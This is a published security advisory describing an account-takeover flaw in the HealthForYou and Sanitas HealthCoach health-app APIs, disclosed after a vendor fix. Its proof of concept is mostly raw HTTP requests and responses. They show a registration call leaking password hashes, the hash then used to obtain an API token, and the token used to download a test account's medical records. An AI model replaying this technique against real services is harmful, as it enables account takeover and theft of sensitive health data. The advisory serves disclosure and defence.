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Security Advisory 2104-02


Account takeover with only email address possible

Overview

Advisory ID: TRSA-2104-02
Advisory version: 1.0
Advisory status: Public
Advisory URL: https://trovent.io/security-advisory-2104-02
Affected product: HealthForYou & Sanitas HealthCoach mobile and web applications
Tested versions: HealthForYou 1.11.1 (com.hansdinslage.connect.HealthForYou),
HealthCoach 2.9.2 (de.sanitas_online.healthcoach)
Vendor: Hans Dinslage GmbH (subsidiary of Beurer GmbH https://www.beurer.com)
Credits: Trovent Security GmbH, Nick Decker

Detailed description

Trovent Security GmbH discovered a critical vulnerability in the server API of
the mobile apps Sanitas HealthCoach and HealthForYou.
When sending an HTTP POST request to „/BHMCWebAPI/User/PostCreateNewUser“
with only an already registered email address the server answers with all account
settings and information. This includes for example name, height, weight and
the password hash and salt.
With the combination of password hash and email address an attacker is able to
authenticate to the API and get a valid API token which leads to unrestricted
access to all account information.

Severity: Critical
CVSS Score: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE ID: CWE-305
CVE ID: N/A

Proof of concept

HealthForYou

Registration request made with the already registered email address of my colleague:

REQUEST:

POST /BHMCWebAPI/User/PostCreateNewUser/ HTTP/1.1
Content-Type: application/json; charset=UTF-8
Accept-Encoding: gzip, deflate
User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; ONEPLUS A6003 Build/QKQ1.190716.003)
Host: sync.healthforyou-lidl.com
Connection: close
Content-Length: 155

{"Email":"s.pietsch@trovent.io","Gender":0,"Source":"","DOB":"","Settings":{"TimeFormat":"","MetricFormat":"","Language":"","DateFormat":""},"Password":""}

RESPONSE:

HTTP/1.1 200 OK
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
content-type: application/json; charset=utf-8
content-length: 7652
etag: W/"1de4-FvpCxFrdDED3gZxRZasWQllO2us"
date: Wed, 28 Apr 2021 08:47:02 GMT
x-envoy-upstream-service-time: 354
server: istio-envoy
connection: close

{"DOB":"1979-01-01T00:00:00","HeightCm":180,"HeightFeet":5,"HeightInch":10,"FirstName":"Stefan","LastName":"Pietsch","Gender":1,"UserLevel":"Advanced","Email":"s.pietsch@trovent.io","IsReceiveNewsLetters":false,"PersonalisedNewsletter":0,"PersonalisedNewsletterGlobalTime":"2021-04-28T07:31:53+00:00","InformationNewsLetter":0,"InformationNewsLetterGlobalTime":"2021-04-28T07:31:53+00:00","IsAcceptedTermsOfService":true,"IsAcceptedTermsOfDataProtection":true,"IsGDPRAccepted":1,"GDPRAcceptedDateTime":"2021-04-28T07:31:53+00:00","GDPRAcceptedPlatform":"WEB","culture":"de-DE","UserAgent":"Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0","Browser":"Firefox","DeviceId":"000007","EmailSalt":"XiiUAhAKCz8WV2aZNOaV6jXa92otbM2","UniqueId":"1a446ba9-f9c2-406e-8a05-6c7f1995bd04","UserID1":1209134,"password":"e9WKpB5aDCQVaKyOdtHAQ3KIVMFbUOy","EncryptedPassword":"e9WKpB5aDCQVaKyOdtHAQ3KIVMFbUOy","salt":"$2b$10$R1SSik1t5io45rjMwUIgre",[shortened for better readability]}

The email address and password hash can be used to get a valid API token:

REQUEST:

POST /BHMCWebAPI/Common/LoginToAPI/ HTTP/1.1
Content-Type: application/json; charset=UTF-8
User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; ONEPLUS A6003 Build/QKQ1.190716.003)
Host: sync.healthforyou-lidl.com
Connection: close
Accept-Encoding: gzip, deflate
Content-Length: 123

{"UserName":"s.pietsch@trovent.io","Password":"e9WKpB5aDCQVaKyOdtHAQ3KIVMFbUOy","ApplicationVersion":"","LoginPlatform":""}

RESPONSE:

HTTP/1.1 200 OK
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
content-type: application/json; charset=utf-8
content-length: 183
etag: W/"b7-nVpWy2Vb0LEGcXhvWiklrpw7W3g"
date: Wed, 28 Apr 2021 11:17:11 GMT
x-envoy-upstream-service-time: 82
server: istio-envoy
connection: close

{"UserStatus":"Valid","AccessToken":"7c68b406-c95e-4e85-ac1d-8ca9b68769a0","ConsiderServerSyncInterval":1,"SyncIntervalTime":60,"AccessTokenExpirationDateTime":"2021-04-28T11:42:11Z"}

This access token allows us to fetch all medical information of the account:

REQUEST:

POST /BHMCWebAPI/Synchronization/PostDownloadDataFromCloud/ HTTP/1.1
Content-Type: application/json; charset=UTF-8
Authorization: Android##7c68b406-c95e-4e85-ac1d-8ca9b68769a0
User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; ONEPLUS A6003 Build/QKQ1.190716.003)
Host: sync.healthforyou-lidl.com
Connection: close
Accept-Encoding: gzip, deflate
Content-Length: 841

{"ASSettingsLastCount": 0,"ASDeviceSettingsLastCount": 0,"DeviceClassDurationSettingsLastCount": 0,"GlucoseMeasurementLastCount": 0,"GlucoseSettingsLastCount": 0,"MeasurementMedicationRefLastCount": 0,"MeasurementsLastCount": 0,"MedicationLastCount": 0,"ScaleMeasurementLastCount": 0,"UserLastCount": 0,"SettingsLastCount": 0,"UserDevicesLastCount": 0,"UserTargetWeightLastCount": 0,"UserWHRManagementLastCount": 0,"ASMeasurementsLastCount": 0,"ASMeasurementDetailsLastCount": 0,"SleepDetailsLastCount": 0,"SleepMasterLastCount": 0,"POMeasurementLastCount": 0,"WeightSettingsLastCount": 0,"WaterSettingsLastCount": 0,"TemperatureMeasurementsLastCount": 0,"WaterMeasurementsLastCount": 0,"UserProfilePicLastCount": 0,"SourcePlateform":"","FinalIdentifier":"","SourcePrefix":"","LastSyncDateForDownlaodTables":"","CurrentPlateformVersions":""}

RESPONSE:

HTTP/1.1 200 OK
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
content-type: text/html; charset=utf-8
content-length: 4790
etag: W/"12b6-dokpw3kZxXpKH0Lj7TmslcLZjuM"
date: Wed, 28 Apr 2021 08:45:42 GMT
x-envoy-upstream-service-time: 67
server: istio-envoy
connection: close

{"objSyncDownload":{"MeasurementsLastCount":1,"ScaleMeasurementLastCount":0,"UserWHRManagementLastCount":0,"UserTargetWeightLastCount":0,"SleepMasterLastCount":0,"TemperatureMeasurementsLastCount":1,"WaterMeasurementsLastCount":0,"WaterSettingsLastCount":1,"ScaleSettingsLastCount":1,"WeightSettingsLastCount":1,"ASDeviceSettingsLastCount":0,"UserLastCount":7,"UserProfilePicLastCount":0},"objSyncDownloadRecordsCount":{"BloodPressureMeasurementsCount":1,"DeviceClassDurationSettingsCount":0,"TemperatureMeasurementsLastCount":1,"WaterSettingsLastCount":1,"ScaleSettingsLastCount":1,"WeightSettingsLastCount":1},"bpMeasurement":[{"MeasurementTime":"09:00:00","MeasurementDate":"2021-04-28T00:00:00","Systolic":120,"Diastolic":80,"Pulse":60,"HeartRhythmDisturbance":false,"RestIndicator":false,"IncludeInGraph":true,"MeasurementID":8989,"Comment":"Meine Blutdruckwerte gehen niemanden etwas an."[shortened for better readability]}

HealthCoach

Registration request made with the already registered email address of my colleague:

REQUEST:

POST /BHMCWebAPI/User/PostCreateNewUser/ HTTP/1.1
Content-Type: application/json; charset=UTF-8
Accept-Encoding: gzip, deflate
User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; ONEPLUS A6003 Build/QKQ1.190716.003)
Host: sync.connect-sanitas-online.de
Connection: close
Content-Length: 161

{"Email":"s.pietsch@trovent.io","UserLevel":"","Gender":0,"Source":"","Settings":{"TimeFormat":"","MetricFormat":"","Language":"","DateFormat":""},"Password":""}

RESPONSE:

HTTP/1.1 200 OK
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
content-type: application/json; charset=utf-8
content-length: 5700
etag: W/"1644-/y9uRN4o4Qchl43H3Lv+XUNnMi0"
date: Wed, 28 Apr 2021 11:32:39 GMT
x-envoy-upstream-service-time: 211
server: istio-envoy
connection: close

{"FirstName":"Stefan","LastName":"Pietsch","Gender":1,"UserLevel":"Advanced","Email":"s.pietsch@trovent.io","IsReceiveNewsLetters":false,"IsAcceptedTermsOfService":true,"IsAcceptedTermsOfDataProtection":true,"IsGDPRAccepted":1,"GDPRAcceptedDateTime":"2021-04-28T11:31:27+00:00","culture":"de-DE","EmailSalt":"XiiUAhAKCz8WV2aZNOaV6jXa92otbM2","UserID1":1054072,"password":"bykDYLPdQnU9KGJYODAs5qgufYHCkhG","EncryptedPassword":"bykDYLPdQnU9KGJYODAs5qgufYHCkhG","salt":"$2b$10$kUzS7R71yJb7nWagxPgOu."[shortened for better readability]}

The email address and password hash can be used to get a valid API token:

REQUEST:

POST /BHMCWebAPI/Common/LoginToAPI/ HTTP/1.1
Content-Type: application/json; charset=UTF-8
User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; ONEPLUS A6003 Build/QKQ1.190716.003)
Host: sync.connect-sanitas-online.de
Connection: close
Accept-Encoding: gzip, deflate
Content-Length: 123

{"UserName":"s.pietsch@trovent.io","Password":"bykDYLPdQnU9KGJYODAs5qgufYHCkhG","ApplicationVersion":"","LoginPlatform":""}

RESPONSE:

HTTP/1.1 200 OK
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
content-type: application/json; charset=utf-8
content-length: 149
etag: W/"95-Xpvb6O8zVrs0Rs6A6foU+iFWItM"
date: Wed, 28 Apr 2021 11:35:58 GMT
x-envoy-upstream-service-time: 88
server: istio-envoy
connection: close

{"UserStatus":"Valid","AccessToken":"9f5e81f3-3cf6-4328-88c9-a2ab9fa6a652","StartDateTime":"2020-12-01 00:00:00","EndDateTime":"2022-12-31 23:59:59"}

This access token allows us to fetch all medical information of the account:

REQUEST:

POST /BHMCWebAPI/Synchronization/PostDownloadDataFromCloud/ HTTP/1.1
Content-Type: application/json; charset=UTF-8
Authorization: Android##9f5e81f3-3cf6-4328-88c9-a2ab9fa6a652
User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; ONEPLUS A6003 Build/QKQ1.190716.003)
Host: sync.connect-sanitas-online.de
Connection: close
Accept-Encoding: gzip, deflate
Content-Length: 841

{"ASSettingsLastCount": 0,"ASDeviceSettingsLastCount": 0,"DeviceClassDurationSettingsLastCount": 0,"GlucoseMeasurementLastCount": 0,"GlucoseSettingsLastCount": 0,"MeasurementMedicationRefLastCount": 0,"MeasurementsLastCount": 0,"MedicationLastCount": 0,"ScaleMeasurementLastCount": 0,"UserLastCount": 0,"SettingsLastCount": 0,"UserDevicesLastCount": 0,"UserTargetWeightLastCount": 0,"UserWHRManagementLastCount": 0,"ASMeasurementsLastCount": 0,"ASMeasurementDetailsLastCount": 0,"SleepDetailsLastCount": 0,"SleepMasterLastCount": 0,"POMeasurementLastCount": 0,"WeightSettingsLastCount": 0,"WaterSettingsLastCount": 0,"TemperatureMeasurementsLastCount": 0,"WaterMeasurementsLastCount": 0,"UserProfilePicLastCount": 0,"SourcePlateform":"","FinalIdentifier":"","SourcePrefix":"","LastSyncDateForDownlaodTables":"","CurrentPlateformVersions":""}

RESPONSE:

HTTP/1.1 200 OK
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
content-type: text/html; charset=utf-8
content-length: 6795
etag: W/"1a8b-FcxjfS97a4XlahafWWa3FLI5XYQ"
date: Wed, 28 Apr 2021 11:37:40 GMT
x-envoy-upstream-service-time: 163
server: istio-envoy
connection: close

{"objSyncDownload":{"ASSettingsLastCount":36,"MeasurementsLastCount":0,"DeviceClassDurationSettingsLastCount":216,"ScaleMeasurementLastCount":0,"UserWHRManagementLastCount":0,"UserTargetWeightLastCount":0,"SleepMasterLastCount":0,"MedicationLastCount":2,"MeasurementMedicationRefLastCount":0,"UserLastCount":46},"objSyncDownloadRecordsCount":{"ASSettingsCount":1,"ASMeasurementsLastCount":0,"ASMeasurementDetailsCount":0,"DeviceClassDurationSettingsCount":6,"medicationCount":1,"SettingsCount":1}[shortened for better readability][{"MedicationId":51845,"MedicationName":"Aspirin","Strength":0,"StrengthUnit":"0","Dose":1,"DoseUnit":"Tablets","HowTaken":"po","HowOftenTaken":"1","ReasonForTaking":"Kopfschmerzen","Note":"seit 1. März 2021","GlobalTime":"2021-04-28T09:01:58+02:00","Medication_HistoryId":2,"KeyIdentifier":"e10cd597-9871-4559-8504-ac81d63d4f68","Source":"WE149477286MED000001"}][shortened for better readability]}

Solution / Workaround

To mitigate this vulnerability, we recommend to verify both the email address
and password before sending account settings and information back to the client.

History

2021-04-27: Vulnerability found
2021-04-28: Advisory created, vendor and BSI contacted
2021-04-30: Vendor reported to Trovent and BSI that the vulnerability was fixed
2021-05-03: Fix validated by Trovent
2021-06-04: Advisory published